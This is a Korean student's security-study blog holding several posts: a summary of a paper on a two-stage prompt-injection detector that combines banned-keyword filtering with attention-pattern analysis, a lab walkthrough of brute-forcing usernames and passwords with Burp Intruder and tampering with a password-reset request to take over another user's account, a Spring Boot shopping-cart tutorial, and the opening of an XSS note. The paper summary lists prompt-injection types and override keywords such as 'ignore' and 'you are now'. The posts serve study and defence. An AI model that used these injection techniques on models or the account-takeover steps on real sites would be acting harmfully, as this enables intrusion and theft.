batterygj 님의 블로그

[4] 논문분석 [어텐션 패턴 분석을 활용한 다층 프롬프트 인젝션 탐지 프레임워크]

batterygj — Tue, 26 May 2026 23:55:39 +0900

https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599

[논문]어텐션 패턴 분석을 활용한 다층 프롬프트 인젝션 탐지 프레임워크

대규모 언어 모델(LLM)의 활용이 확대됨에 따라 사용자 입력을 악용하여 모델의 보안 정책을 우회하는 프롬프트 인젝션 공격이 급증하고 있다. 이를 방지하기 위해 제안된 기존의 방어 기법들은

scienceon.kisti.re.kr

KCI_FI003330245.pdf

1.30MB

논문 선정 이유

생성형 AI 도입이 늘면서 프롬프트 인젝션 공격이 급증하고 있다는 경향을 보게 되었다.

프롬프트 인젝션에 대해 좀더 알아보고 이를 탐지하고 방어하기 위한 방식에 대해 공부하기 위해 이 논문을 선정하게 되었다.

1. 서론

- 프롬프트 인젝션: 공격자가 악의적인 지시문을 사용자 입력이나 외부 데이터에 삽입하여 모델이 시스템 정책을 우회하도록 유도하는 공격 기법

- 최신 모델(ex. GPT-4o)도 외부 웹페이지에 삽입된 악성 지시로 내부 정보가 유출됨.
(단순한 명령어 우회를 넘어 역할 조작, 문맥 교란 등 공격 기법 정교해짐)

- 기존 소프트웨어 보안: 정형화된 입력 검증 기법으로 공격 탐지
<-> LLM: 자연어를 입력어로 처리 -> 기존 검증기법 적용 어렵(자연어의 비정형적 특성은 악의적 지시를 정상적인 문장 속제 은밀히 삽입하는 것을 가능하게 함: 프롬프트 인젝션의 핵심 취약점)

- 기존 방어 기법 한계: 정확도와 처리 속도 간의 trade-off 문제 해결 못함
- 규칙 기반 방식 ( ex) 금지어 기반 필터링 ) : 지연시간 낮음. 그러나 단어 변형이나 문맥 교란에 취약, 정교한 공격 탐지 불가
- 모델 기반 탐지 기법 ( ex) BERT ) : 문맥적 특징을 학습하여 높은 탐지율 보임. 그러나 연산비용이 크고 추론시간이 긺 -> 실시간 서비스 환경 적용 어렵

- Attention Tracker(어텐션 패턴 분석 기법) : 추가학습없이 공격탐지가능. 단일 모델로 다양한 공격유형 포괄적 탐지어렵

- 금지어 기반 필터링의 경량성과 Attention Tracker 기반 어텐션 패턴 분석의 정밀성을 결합한 다층 프롬프트 인젝션 탐지 프레임워크 제안.
1단계: 금지어 필터링으로 명시적인 공격 패턴을 신속하게 차단하여 시스템 부하 최소화
2단계: 1단계를 통과한 입력에 대해 LLM에 어텐션 가중치 변화를 분석하여 문맥 조작, 역할 변경, 감정 호소 등 정교한 공격 탐지
=> focus score를 통해 모델이 시슽메 명령에 할당하는 주의 집중도의 변화를 정량화하며 공격여부를 효과적으로 판별

2. 프롬프트 인젝션 공격 유형

- 명령어 우회 공격(Direct Instruction Override Attack)
: 시스템 프롬프트를 무시하도록 직접 지시. 기존 명령을 무력화하고 새로운 지시를 실행하도록 유도
(상대적으로 구조화된 패턴을 가지고 있어 키워드 기반 필터링을 통한 탐지 용이)

- 역할 조작 공격(Role Manipulation Attack)
: 모델에게 특정 역할이나 페르소나를 부여하여 보안 정책을 우회하는 공격. 모델의 정쳊성을 재정의하여 내부 방어 메커니즘을 비활성화

- 시스템 위장 공격(System Command Spoofing)
: 입력을 시스템 관리자 또는 개발자의 명령으로 위장. 시스템 메시지 형식을 모방하여 모델이 이를 신뢰할 수 있는 명령으로 인식하게 함

- 문맥 조작 공격(Context Manipulation Attack)
: 대화의 문맥을 조작하여 새로운 악성 지시 삽입. 이전 대화를 무효화하고 새로운 작업의 전환 유도
(모델의 순차적 처리 특성과 문맥 의존성을 악용하며, 다중 턴 대화에서 특히 효과적)

- 코드 삽입 공격(Code Injection Attack)
: 실행 가능한 코드나 위험한 시스템 명령을 프롬프트에 삽입. 코드 실행을 요청하거나, SQL 인젝션과 유사한 방식으로 데이터베이스 쿼리 조작

- 감정 호소형 공격(Social Engineering Attack)
:긴급성이나 감정적 표현을 사용하여 모델의 동정심 유발하고 정책을 간접적으로 우회하도록 유도. 감정에 호소하여 민감한 정보를 요청
(명시적 악성 키워드가 없어 키워드 기반 탐지 어렵)

=> 명시적 공격 패턴을 빠르게 차단하는 규칙 기반 방식과 간접적인 공격을 탐지하는 모델 기반 방식을 결합한 다층적 방어 체계 필요

3. 관련 연구

3.1 규칙 기반 탐지

: 사전 정의된 패턴을 기반으로 악성 입력 식별
- 우회 기법에 취약 ex)공격자읭 동의어 사용, 문장 구조 변형, 유니코드 문자 대체
- 명시적인 공격 키워드가 없는 간접적 공격 탐지 어려움 ex) 역할 조작, 감정 호소

대표 기법

금지어 기반 필터링(Blacklist Filtering)

: 공격에 자주 사용되는 키워드(ignore, override, disregard 등) 사전 정의, 입력에 해당 키워드가 포함되면 차단.
- 구현이 간단하고 처리 지연 거의 없어 실시간 서비스에 적합. 알려진 공격 패턴에 대해 높은 탐지율

정규 표현식 기반 패턴 매칭

: ignore, instruction, you are now 와 같이 공격 문장의 구조적 패턴을 정규식으로 정의하여 탐지하는 방식
- 단순 키워드 매칭보다 유연하게 변형된 표현을 탐지 가능
- 패턴 설계에 전문 지식이 필요하고 복잡한 패턴은 성능 저하를 유발할 수있음

안전 지시문 강화(Prompt Hardening)

3.2 모델 기반 탐지

: 머신러닝 또는 딥러닝 모델을 활용하여 입력의 문맥적 특징을 학습하고 규칙 기반으로 탐지하기 어려운 정교한 공격 식별

Q. Lan

- 미세 조정된 BERT 기반 분류 모델을 활용한 탐지 시스템을 제안하여 높은 정확도 달성

- 모델 학습에 대량의 레이블링 된 데이터 필요
- 추론 시 상당한 연산 비용 발생
=> 실시간 서비스 환경 적용 어렵

Attention Tracker

: LLM 내부의 어텐션 패턴을 추적해 공격 탐지
- 정상적인 입력에서는 모델의 마지막 토큰 어텐션이 기존 시스템 명령어에 집중하지만, 프롬프트 인젝션 공격이 발생하면 어텐션이 삽입된 악성 명령어로 이동한다는 점을 활용
- 추가적 학습, 외부 모델 없이 LLM 자체의 어텐션 가중치만으로 공격 탐지 가능

- 단일 모델만으로 다양한 공격유형 포괄적 탐지 어렵
- 임계값 설정에 따라 오답률 변동 가능

3.3 활성화 조작 기반 탐지

: 모델 내부의 표현 공간을 직접 모니터링하고 제어하여 공격 방어
(특정 레이어에서 고유한 활성화 패턴이 나타난다는 점을 이용)

3.4 기존 연구의 한계

4. 어텐션 패턴 분석 기반 프롬프트 인젝션 탐지 프레임워크

4.1 프레임워크

다층방어 프레임워크 전체구조

1. 사용자 입력 들어옴
2. 1단계 금지어 기반 필터링(Banned Termes Filtering)을 통해 명시적인 공격 패턴을 검사하여 공격으로 판별되면 즉시 차단하고, 통과한 입력에 대해서만 Focous Score 추출 수행
3. 추출된 Focus Score는 2단계 Attention Tracker로 전달되어 임곗값과 비교 후 최종 탐지 결정
(2단계 구조의 핵심 설계원칙
1. 1단계에서 계산 비용이 적은 규칙 기반 필터링으로 명시적인 공격 빠르게 차단 -> 전체 시스템 부하 최소화
2. 1단계를 통과한 입력에 대해 비교적 연산 비용이 큰 어텐션 분석을 수행해 정교한 간접 공격 탐지)

==> 정확도와 처리 속도 간의 trade-off 문제 해결

4.2 1단계: 금지어 기반 필터링

: 사용자 입력에 포함된 악성 키워드를 검사하여 직접적 공격 사전 차단
(문자열 검색만 수행하므로 계산 비용 거의 발생X)
=> 명시적 공격 패턴을 가진 입력을 빠르게 식별하여 차단, 전체 시스템의 처리 부하 최소화

검사 대상키워드(공격 특성에 따라 5가지로 분류)

- 악성 코드 패턴(Malicious Code Patterns)
: 시스템 명령 실행을 시도하는 코드 삽입 공격 탐지. 프로그래밍 언어나 운영체제의 위험한 명령어 패턴 포함

- 이스케이핑 문자(Escaping Characters)
: 특수문자나 인코딩을 이용한 우회시도 탐지

- 조작적 표현(Manipulative instruction)
: 명령어 우회 공격에서 자주 사용되는 표현 탐지. 기존 시스템 명령을 무시하도록 유도하는 문구 포함

- 스팸 유도 표현(Spam Triggers)
: 사용자를 속이거나 악성 행위를 유도하는 스팸성 문구 탐지

- 일반적인 주입 패턴(Common Injection Patterns)
: 시스템 메시지로 위장하는 공격 탐지. 권한을 사칭하는 형식 포함

4.3 Focus Score 추출

: LLM이 기존 시스템 명령어에 얼마나 집중하고 있는지를 정량적으로 측정하는 지표

(정상적 입력에서는 주로 기존 시스템 명령어에 집중됨

<-> 프롬프트 인젝션 공격 발생: 모델은 삽입된 악성 명령어를 더 중요 정보로 인식해 어텐션이 해당 위치로 이동)

어텐션 분포의 변화를 포착해 공격 여부 판별

다음의 세단계로 구성

1. 입력 처리(input Processing)

2. 중요 헤드 선택(Important Head Selection)

3. 점수 집계(Score Aggregation)

4.4 2단계: Attention Tracker 기반 탐지

: 추출된 Focus Score를 사전 정의된 임곗값 t와 비교해 최종 탐지 결정 내림

탐지규칙

임곗값t: 학습 데이터셋에서 정상과 공격 입력의 Focus Score 분포를 분석해 결정

- 너무 높은 임계값: 오탐(False Positive. 정상입력을 공격으로 오인)

- 너무 낮은 임계값: 미탐(False Negative. 탐지못함)

본 연구에서는 F1 Score를 최대화하는 임계값 선택

4.5 프레임워크 동작 흐름

1. 사용자 입력이 시스템에 들어옴

2. 1단계 금지어 기반 필터링에서 5개 카테고리의 악성 키워드 검사

3. 키워드가 탐지되면 즉시 차단 후 종료

4. 통과한 입력에 대해 어텐션 가중치 계산

5. 중요 헤드를 선택하고 Focus Score를 계산

6. 임곗값과 비교 후 최종 판정 내림

7. 공격 판정: 차단, 정상 판정: LLM응답 생성

- 전체 처리 시간 단축

- 시스템 부하 최소화

- 두가지의 상호 보완적인 탐지 방식을 결합해 직접적 공격과 간접적 공격 모두 높은 탐지 정확도 달성

5. 성능 평가 및 분석

5.1 실험 환경

- 경량 LLM모델 Qwen2-1.5B -> 실시간 서비스 환경에서의 적용 가능성 검증

- xTRaml 데이터셋 -> 중요 어텐션 헤드 선별을 위한 학습 데이터

5.2 데이터셋 구성

- 공격 유형별 변형을 포함한 23개의 악성 프롬프트 생성

- 공격유형별 프롬프트 구성

- 직접적 공격: 명시적인 악성 키워드를 포함하여 1단계 필터링의 성능을 평가

(Direct Instruction Override, System Command Spoofing, Code Injection)

- 간접적 공격: 명시적 키워드 없이 문맥을 조작해 2단계 Attention Tracker 성능을 평가하도록 구성

(Role Manipulation, Context Manipulation, Social Engineering)

5.3 평가지표

- 성능 평가 지표

탐지 정확도, 평균 지연 시간, 총 비용

5.4 비교 대상 방법

아래 세가지 비교

(1)금지어 기반 필터링을 단독으로 사용(Banned Terms) : 5개 카테고리의 금지어 목록 47개를 기반으로 탐지

(2)Attention Tracker : 1단계 필터링 없이 모든 입력에 대해 Focus Score 계산해 탐지

(3)제안 방법(Hybrid) : 위의 두가지를 결합한 2단계 다층 방어 프레임워크 적용해 평가

5.5 실험 결과

1) 탐지 정확도 분석

(1)

- 명시적 키워드가 있는 코드 삽입 및 일부 시스템 위장 공격: 탐지 가능

- 키워드가 없는 간접 공격: 대부분 탐지 불가

(2)

- 간접 공격: 일부 탐지

- 짧고 단순한 직접 공격: 탐지 실패 ( 일관성 없음 )

(3)

- 단일 방식들보다 약 2배높은 정확도

2) 지연 시간 및 비용 분석

(1)

속도가 매우 빠르고 비용이 가장 낮음.

그러나 정확도가 너무 낮아 단독 보안 솔루션으로 부적합

(2)

평균 지연 시간 매우 긺. 비용 가장 높음

(3)

(2)대비 시간 56%단축. 비용 중간. -> 효율성 가장 우수

3) 종합 분석

제안하는 다층방어 프레임 워크로 trade-off 해결

5.6 한계점 및 향후 연구

- 데이터셋 규모의 한계 -> 변형 공격에 대한 신뢰도 확보를 위한 추가적 검증 필요

- 적용 범위의 제한(API 형태로만 제공되는 모델에 직접 적용 어렵)

- 고도화된 감정 호소 공격 탐지 실패 -> 대화의 문맥적 의도를 파악하는 상위 레벨의 의미론적 분석 모듈 추가 필요

6. 결론

- 단순 키워드 매칭 방식만으로는 고도화된 의미론적 공격 탐지에 한계가 있음

- 제안된 프레임워크의 성능 평가 결과: 기존 단일 탐지 기법 대비 약 2배 향상된 83%의 탐지 정확도.

Attention Tracker 단독 운용 시와 비교해 지연 시간 50%이상 단축, 연산 비용 절감.

- 1단계: 명시적 공격 신속 차단

- 2단계: 잔여 입력의 문맥적 이상 징후를 정밀 분석하는 계층적 구조

=> 보안 성능과 시스템 효율성 간 균형 달성

배운점 및 느낀점

보안 연구에서는 정상입력을 공격으로 오인하는 오탐과 공격을 탐지 하지 못하는 미탐의 균형을 맞춰 정확도를 가장 끌어올릴 수 있는 지점을 찾는 것이 중요하다는 것을 알게되었다.

보안 시스템을 평가할 때 단순히 공격을 얼마나 잘 막는가만 보면 안되며, 위의 내용처럼 지연 시간과 운영 비용을 함깨 측정하여 고려해야만

실제 서비스 환경에 적용 가능한지 판단할 수 있다는 것을 알게 되었다.

금지어 필터링하는 규칙기반 방식과 어텐션을 분석하는 모델 기반 방식을 위 논문에서 제안된 프레임워크처럼 계층적으로 연결하면 각각 단일 방식의 한계를 상호보완 할 수 있다는 것을 알게 되었고,

실험과정과 결과를 보며 이렇게 설계하는 능력이 핵심이라는 것을 깨달았다.

[6주차] Authentication vulnerabilities

batterygj — Sun, 24 May 2026 01:54:29 +0900

Authentication vulnerabilities

웹사이트에서 흔히 쓰이는 인증 메커니즘들
이들 메커니즘에서 발생할 수 있는 잠재적 취약점들
서로 다른 인증 메커니즘 자체에 내재된 취약점(설계적 한계)
잘못 구현했을 때 도입되는 전형적 취약점들
자체 인증 메커니즘을 가능한 견고하게 만드는 방법

- 민감한 데이터와 기능에 접근하도록 허용 가능

- 추가적인 공격 표면을 노출해 더 큰 침투로 이어질 수 있음

-> 인증 취약점을 식별하고 악용하는 방법, 일반적인 보호 조치를 우회하는 방법을 배우는 것 중요

Authentication (인증)

: 사용자나 클라이언트의 신원을 검증하는 과정

웹사이트는 인터넷에 연결된 모든 사람에게 잠재적으로 노출되어 있기 때문에, 강력한 인증 메커니즘은 효과적인 웹 보안을 위해 필수적

인증의 3대 요인

1. 지식 요인 (Knowledge factors)

ex) 비밀번호, 보안질문의 답

2. 소유 요인 (Possession factors)

ex) 모바일폰, OTP토큰, 보안카드 등 물리적 장치

3. 고유 기반 요인 (Inherence factors)

ex) 지문, 얼굴 인식, 음성, 행동 패턴

-> 인증 메커니즘은 위의 한가지 이상 요인을 검증하기 위해 다양한 기술에 의존

Authentication vs Authorization(인가)

Authentication: 사용자가 자신이 주장하는 사람인지 확인하는 과정

Authorization: 사용자가 어떤 행동을 할 수 있는지(권한이 있는지) 검증하는 과정 -> 인가받은 권한에 따라 수행할 수 있는 동작이 결정됨

인증 취약점 발생 원인

1. 인증 메커니즘이 약할 때

-> brute-force 공격을 적절히 방어하지 못할 때 발생

2. 로직 결함 또는 잘못된 코딩(구현 오류)이 있을 때

-> 공격자가 인증 과정을 완전히 우회할 수 있게 되는 경우

( 웹 개발의 여러 영역에서 로직 결함은 웹사이트가 예상치 못한 방식으로 동작하게 만들지만, 그것이 항상 보안 문제로 이어지는 것 아님.

그러나 "인증"은 보안의 핵심이기 때문에, 인증 로직에 결함이 있다면 거의 확실하게 보안 문제가 발생한다고 볼 수 있음 )

인증 취약점 영향

- 그 계정이 가진 모든 데이터와 기증에 접근 가능

- 원래 접근할 수 없어야 할 상업적으로 민감한 정보(business confidential data)에 접근 가능

+) 그 계정이 민감한 데이터에 직접 접근하지 못하더라도 공격자는 추가적인 페이지나 기능에 접근할 수 있게 되어

더 넓은 공격 표면을 얻게 됨

- 시스템 관리자처럼 높은 권한 계정 탈취 -> 애플리케이션 전체를 완전히 장악하고 내부 인프라에까지 접근할 수 도 있음

intruder payload 대입 실습(로그인 우회)

1. ACCESS THE LAB

2. My account 클릭

3. test, 1234 입력후 intercept on 상태에서 로그인

4. 23번라인에서 입력한 것을 볼 수 있음. 여기서 send to intruder

5. test부분 드래그 후 Add 표시 클릭

6. intercept off 후 시작페이지에서 Candidate usernames 링크 클릭

7. 아래 내용 전부 복사해서 intruder 오른쪽의 payload에 paste 후 Start attack

8. payload 대입 결과 화면중에서 length가 확연히 다른 하나를 찾음. Response에서 incorrect password라고 써있는거 확인가능.

이를 통해 username은 alaska라는 것을 알 수 있음.

저 위치에서 다시 send to intruder

9. 1234부분에 드래그후 Add 표시 클릭. 시작페이지에서 Candidate passwords 링크 클릭. 아래 내용 전부 복사해서 intruder 오른쪽의 payload에 paste 후 Start attack

10. payload 대입 결과 화면중에서 status나 length가 다른 하나를 찾음. qwerty가 올바른 비밀번호

11. 로그인창에 찾은 username과 password 입력 후 로그인

12. 성공화면이 뜸

비즈니스 로직 결함을 이용한 비밀번호 재설정 우회 및 계정 탈취

1. ACCESS THE LAB

2. My account 클릭

3. Victim's username이 carlos라고 시작에서 알려줬으므로 password만 1234로 해서 로그인 시도를 하면 틀렸다고 뜨면서 두번째 시도할때 Forgot password?가 뜸. 이를 클릭

4. carlos 입력 후 submit

5. Email client 클릭

6. 비어있으므로 이 방법이 아님

7. wiener 입력 후 submit (시작에서 Your credentials: wiener:peter)

8. email client 클릭

9. Body태그 안에 있는 password reset 링크 클릭

10. intercept on 한 후 new password로 1234 입력 후 submit

11. POST 타입 요청을 보면 13번 라인에 입력한 값이 나오는 것을 볼 수 있음

12. username을 carlos로 바꾸고 forward

13. intercept off 한 후 로그인 페이지로 돌아가서 carlos, 1234로 로그인

14. 성공 메시지가 뜸

[5주차] item 설계 및 실습, 포스트맨 실습

batterygj — Tue, 19 May 2026 11:13:42 +0900

구조

Member → Cart → CartItem

↑

Item

Item 엔티티 추가

@Entity
@Table(name = "items")
@Getter @Setter
public class Item {

    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    @Column(name = "item_id")
    private Long id;

    private String itemName;

    private int price;

    private int stock;
}

CartItem 엔티티 추가

@Entity  // 이 클래스가 DB테이블과 매핑되는 JPA 엔티티임 선언
@Table(name = "cart_items")  // DB에 생성될 실제 테이블 이름을 cart_items로 지정
@Getter @Setter  // Lombok을 사용해 모든 필드의 Getter(조회)와 Setter(수정) 메서드를 자동 생성
public class CartItem {

    @Id  // 테이블 기본키로 지정
    @GeneratedValue(strategy = GenerationType.IDENTITY)  // 기본키 생성 DB에 위임
    @Column(name = "cart_item_id")  // DB테이블의 실제 컬럼 이름을 cart_item_id로 매핑
    private Long id;

    // 어떤 장바구니에 들어갔는지
    @ManyToOne  // 여러 아이템이 하나의 장바구니에 속함
    @JoinColumn(name = "cart_id")  // 외래키(FK) 컬럼 이름을 cart_id로 지정하여 Cart 테이블과 연결
    private Cart cart;

    // 어떤 상품인지
    @ManyToOne  // 여러 장바구니 아이템이 하나의 상품을 가리킬 수 있음
    @JoinColumn(name = "item_id") // 외래키(FK) 컬럼 이름을 item_id로 지정하여 Item 테이블과 연결
    private Item item;

    private int quantity; // 수량
}

Repository 추가

public interface CartRepository extends JpaRepository<Cart, Long> {
}  CartRepository가 관리하는 Cart엔티티의 PK타입은 Long

public interface CartItemRepository extends JpaRepository<CartItem, Long> {
}

public interface ItemRepository extends JpaRepository<Item, Long> {
}

CartService

@Service  // 이 클래스가 비즈니스 로직(핵심 기능)을 처리하는 곳임을 스프링에 등록
@RequiredArgsConstructor  //Lombok을 이용해 final이 붙은 필드(Repository)를 자동으로 주입하는 생성자를 만듦
public class CartService {

    private final CartRepository cartRepository;  // 장바구니 데이터를 DB에 저장하고 조회하기 위한 레포지토리
    private final MemberRepository memberRepository;  // 회원정보를 DB에서 조회하기 위한 레포지토리

    // 장바구니 생성
    public Cart createCart(Long memberId) {  // 회원 ID를 받아와서 해당 회원의 장바구니를 생성하는 메서드
        Member member = memberRepository.findById(memberId)
                .orElseThrow(() -> new IllegalArgumentException("회원 없음"));
               // 전달받은 memberId로 DB에서 회원조회. 회원 없으면 예외 처리

        Cart cart = new Cart();
        cart.setMember(member);  // 생성한 장바구니의 주인(member)를 위에서 조회한 회원으로 지정
        cart.setCreatedBy(LocalDateTime.now());

        return cartRepository.save(cart);  // 설정끝난 장바구니 객체를 DB에 저장하고 저장된 결과 반환
    }
}

+) Required(필수적인)+ Args(인자) + Constructor(생성자) : 필수적인 필드만 가지고 생성자를 만들어라

스프링이 말하는 필수 필드: final이 붙은 필드. (자바에서 final이 붙은 변수는 값이 한번 초기화 되어야 컴파일 됨)

ItemService

package com.example.demo.service;

import com.example.demo.entity.Item;
import com.example.demo.repository.ItemRepository;
import lombok.RequiredArgsConstructor;
import org.springframework.stereotype.Service;

import java.util.List;

@Service  // 이 클래스가 핵심 비즈니스 로직을 처리하는 '서비스' 컴포넌트임을 스프링에 등록
@RequiredArgsConstructor  // final이 붙은 itemRepository를 자동으로 주입해주는 생성자를 만듦
public class ItemService {

    private final ItemRepository itemRepository;  // 상품 데이터를 DB에 접근해 처리할 레포지토리

    // 상품 생성
    public Item save(Item item) {
      // 전달받은 상품 객체(item)을 DB에 저장하고, 저장된 결과 반환
        return itemRepository.save(item);
    }

    // 전체 조회
    public List<Item> findAll() {
       // DB에 저장된 모든 상품 리스트를 가져와서 반환
        return itemRepository.findAll();
    }

    // 단건 조회
    public Item findById(Long id) {
       // 상품 ID로 특정 상품 하나를 찾음. 없으면 상품 없음 예외 발생시킴
        return itemRepository.findById(id)
                .orElseThrow(() -> new IllegalArgumentException("상품 없음"));
    }

    // 수정
    public Item update(Long id, Item updatedItem) {

        Item item = findById(id);  // 수정할 상품이 DB에 있는지 조회

         // 조회해온 기존 상품 정보를 새로운 정보로 수정
        item.setItemName(updatedItem.getItemName());  // 이름 변경
        item.setPrice(updatedItem.getPrice());  // 가격 변경
        item.setStock(updatedItem.getStock());  // 재고 변경

        return itemRepository.save(item);
    }  // 정보가 수정된 상품 객체를 DB에 다시 저장하고 결과 반환

    // 삭제
    public void delete(Long id) {
           // 전달받은 상품 ID에 해당하는 데이터를 DB에서 삭제
        itemRepository.deleteById(id);
    }
}

CartItemService

@Service
@RequiredArgsConstructor  //final이 붙은 Repository들을 자동으로 주입해주는 생성자를 만듦
public class CartItemService {

    private final CartRepository cartRepository;  //장바구니 데이터를 조회하기 위한 레포지토리
    private final ItemRepository itemRepository;  //상품 데이터를 조회하기 위한 레포지토리
    private final CartItemRepository cartItemRepository;  //장바구니 상품 데이터를 DB에 저장하고 조회하는 레포지토리

    // 장바구니에 상품 추가
    public CartItem addItem(Long cartId, Long itemId, int quantity) {

        Cart cart = cartRepository.findById(cartId)
                .orElseThrow(() -> new IllegalArgumentException("장바구니 없음"));

        Item item = itemRepository.findById(itemId)
                .orElseThrow(() -> new IllegalArgumentException("상품 없음"));

        CartItem cartItem = new CartItem();
        cartItem.setCart(cart);  // 이 장바구니 상품이 속할 장바구니 지정
        cartItem.setItem(item);  // 이 장바구니 상품이 가리킬 실제 상품 지정
        cartItem.setQuantity(quantity);  // 화면에서 넘어온 수량 설정
        
        // 설정이 완료된 장바구니 상품(CartItem)을 DB에 저장하고 그 결과 반환
        return cartItemRepository.save(cartItem);
    }

    // 전체 조회
    public List<CartItem> getAll() {
        return cartItemRepository.findAll();
    }
}

CartController

@RestController  // 이 클래스가 REST API의 요청을 받아 처리하고 결과를 JSON 형태로 반환하는 컨트롤러임을 스프링에 등록
@RequiredArgsConstructor  // final이 붙은 cartService를 자동으로 주입해주는 생성자를 만듦
@RequestMapping("/carts")  // 이 컨트롤러 내부의 모든 메서드는 URL경로가 "/carts"로 시작하도록 기본 주소 설정
public class CartController {

    private final CartService cartService;  // 장바구니 관련 비즈니스 로직을 호출하기 위한 서비스

    @PostMapping("/{memberId}")  // HTTP POST 요청을 처리하며, 전체 주소는 "/carts/{memberId}"가 됨
    public Cart create(@PathVariable Long memberId) {
        // @PathVariable은 URL 경로에 들어있는 값 {memberId}을 파라미터 변수(memberId)에 그대로 매핑해주는 역할
        
        // 서비스 레이어의 createCart 메서드를 호출하여 해당 회워의 장바구니를 생성하고 결과 반환
        return cartService.createCart(memberId);
    }
}

ItemController

package com.example.demo.controller;

import com.example.demo.entity.Item;
import com.example.demo.service.ItemService;
import lombok.RequiredArgsConstructor;
import org.springframework.web.bind.annotation.*;

import java.util.List;

@RestController
@RequiredArgsConstructor
@RequestMapping("/items")  // 이 컨트롤러 내부의 모든 메서드는 URL 경로가 "/items"로 시작하도록 기본 주소 설정

public class ItemController {

    private final ItemService itemService;  // 상품 비즈니스 로직을 호출하기 위한 서비스 객체

    // CREATE
    @PostMapping  // HTTP POST요청을 처리하며, 주소는 "/items"가 됨. 주로 데이터를 생성(등록)할 때 사용
    public Item create(@RequestBody Item item) {
       // @RequestBody는 웹 브라우저나 클라이언트가 보낸 JSON 형태의 데이터를 자바 객체(Item)로 변환하여 받아옴
        return itemService.save(item);
    }

    // READ ALL
    @GetMapping // HTTP GET요청을 처리하며, 주소는 "/items"가 됨. 주로 데이터를 조회할 때 사용
    public List<Item> getAll() {
        return itemService.findAll();
    }

    // READ ONE
    @GetMapping("/{id}") // HTTP GET요청을 처리하며, 주소는 "/items/{id}"
    public Item getOne(@PathVariable Long id) {
      // @PathVariable은 URL 경로에 포함된 {id} 값을 파라미터 변수(id)에 그대로 매핑
        return itemService.findById(id);
    }

    // UPDATE
    @PutMapping("/{id}") // HTTP PUT요청을 처리하며, 주소는 "/items/{id}". 기존 데이터 전체 수정시 사용
    public Item update(@PathVariable Long id,
                       @RequestBody Item item) {
                      
           // URL에서 가져온 id와 Request Body로 넘어온 수정할 JSON데이터('item 객체')를 동시에 받음
        return itemService.update(id, item);
    }

    // DELETE
    @DeleteMapping("/{id}")  // HTTP DELETE 요청을 처리하며, 주소는 "/items/{id}". 데이터 삭제시 사용
    public String delete(@PathVariable Long id) {  // URL에서 삭제할 상품의 고유 id 가져옴
        itemService.delete(id);
        return "삭제 완료";
    }
}

CartItemController

@RestController // 이 클래스가 REST API의 요청을 받아 처리하고 결과를 JSON 형태로 반환하는 컨트롤러임을 스프링에 등록
@RequiredArgsConstructor
@RequestMapping("/cart-items")  // 이 컨트롤러 내부의 모든 메서드는 URL 경로가 /cart-items로 시작
public class CartItemController {

    private final CartItemService cartItemService;

    // 상품 추가
    @PostMapping  //HTTP POST요청 처리. 주소는 "/cart-items"가 됨. 주로 데이터를 생성(등록)할 때 사용
    public CartItem addItem(
            @RequestParam Long cartId,  // URL 쿼리 파라미터나 폼 데이터에서 "cartId"라는 이름의 값 받아옴
            @RequestParam Long itemId,  // URL 쿼리 파라미터나 폼 데이터에서 "itemId"라는 이름의 값 받아옴
            @RequestParam int quantity  // URL 쿼리 파라미터나 폼 데이터에서 "quantity"라는 이름의 값 받아옴
    ) {
        return cartItemService.addItem(cartId, itemId, quantity);
    }

    // 조회
    @GetMapping //HTTP GET요청 처리. 주소는 "/cart-items"가 됨. 주로 데이터를 조회할 때 사용
    public List<CartItem> getAll() {
        return cartItemService.getAll();
    }
}

포스트맨 실습

Cart

- 장바구니 생성

: 5번회원의 장바구니 id는 3번으로 매핑

생성이므로 POST타입

서버에 넘겨줄 내용이 없으므로 Body태그 필요 없음

CartController의 @PostMapping과 매핑

- 장바구니 담기

: 새 장바구니 내역을 만드는 것이므로 POST

ex) 3번 장바구니에 2번 아이템을 1개 담기

Cart id위에 새로운 id는 CartItem의 PK (여기서는 2)

내부에 포함된 cart id 3과 item id 2는 각각 장바구니 테이블과 상품 테이블을 연결해주는 외래 키(FK)

URL은 CartController의 @RequestParam으로 주입

- 장바구니 조회

: 조회이므로 GET

모든 회원의 장바구니 내역이 전부 조회

ex) 김바덕의 장바구니에는 키보드가 1개, 추바덕의 장바구니에는 마우스가 1개 담겨있음

내부에 포함된 cart id 3과 item id 2는 각각 장바구니 테이블과 상품 테이블을 연결해주는 외래 키(FK)

item

- 아이템 생성

: 생성이므로 POST

Body태그에 생성할 아이템의 정보 적음

상품 이름, 가격, 재고 등을 적어 보내면 @RequestBody가 이를 객체로 받아들임

- 수정

: 데이터 수정이므로 PUT(이전데이터 덮어쓰기)

Body태그에 덮어쓸 내용 적음

ItemController의 @PutMapping("/{itemId}") 메서드와 매핑

- 전체 조회

: 현재 모든 아이템 조회됨

조회이므로 GET

Body태그 필요없음

ItemController의 @GetMapping 메서드와 매핑

- 삭제

: URL 끝에 /3 등을 붙여 아이템 지움

삭제이므로 DELETE

Body태그 필요없음

ItemController의 @DeleteMapping("/{itemId}") 메서드가 요청을 받음

member

- 단건 조회

: URL 맨 끝에 /1 등을 붙여 한명의 회원을 조회할 수 있음

데이터 조회는 GET

Body태그 필요없음

@GetMapping 메서드와 매핑

- 삭제

: 4번 회원 삭제

삭제이므로 DELETE

Body태그 필요없음

MemberController 내부의 삭제 메서드가 이를 수신

- 회원 생성

: 삭제를 통해 2,3,4번 회원이 사라졌어도 새 회원이 생성될 때 id는 5부터 시작(id는 PK이고, DB의 자동 증가 규칙에 따름)

생성이므로 POST

Body 태그에 생성할 새 회원 정보를 적음

이름, 이메일, 비밀번호, 주소 등을 적어 보내면 @RequestBody가 이를 회원 객체로 변환하여 받아들임

- 수정

: 6번 회원의 정보 수정

데이터 수정이므로 PUT(기존 데이터 덮어쓰기)

Body태그에 덮어쓸 내용 적음

@PutMapping , @RequestBody가 처리

- 전체 조회

: 현재 전체 회원 조회

조회이므로 GET

Body태그 필요 없음

@GetMapping 메서드와 매핑

[5주차] XSS

batterygj — Sat, 16 May 2026 02:03:59 +0900

XSS : 검증되지 않은 입력이 브라우저에서 악성 스크립트로 실행될 때 발생하는 취약점

(Cross-Site-Scripting)

- 웹사이트가 사용자에게 악성 JavaScript를 반환하도록 조작하는 방식으로 작동

- 공격자가 스크립트 주입 -> 서버가 이를 반영 -> 사용자의 브라우저가 실행 -> 계정 탈취나 조작 발생

- XSS를 테스트할 때 보통 alert() 함수 사용

(Chrome 92 이후부터는 cross-origin iframe 안에서 alert가 막혀, 대신 print() 함수를 사용하기도 함)

공격 유형

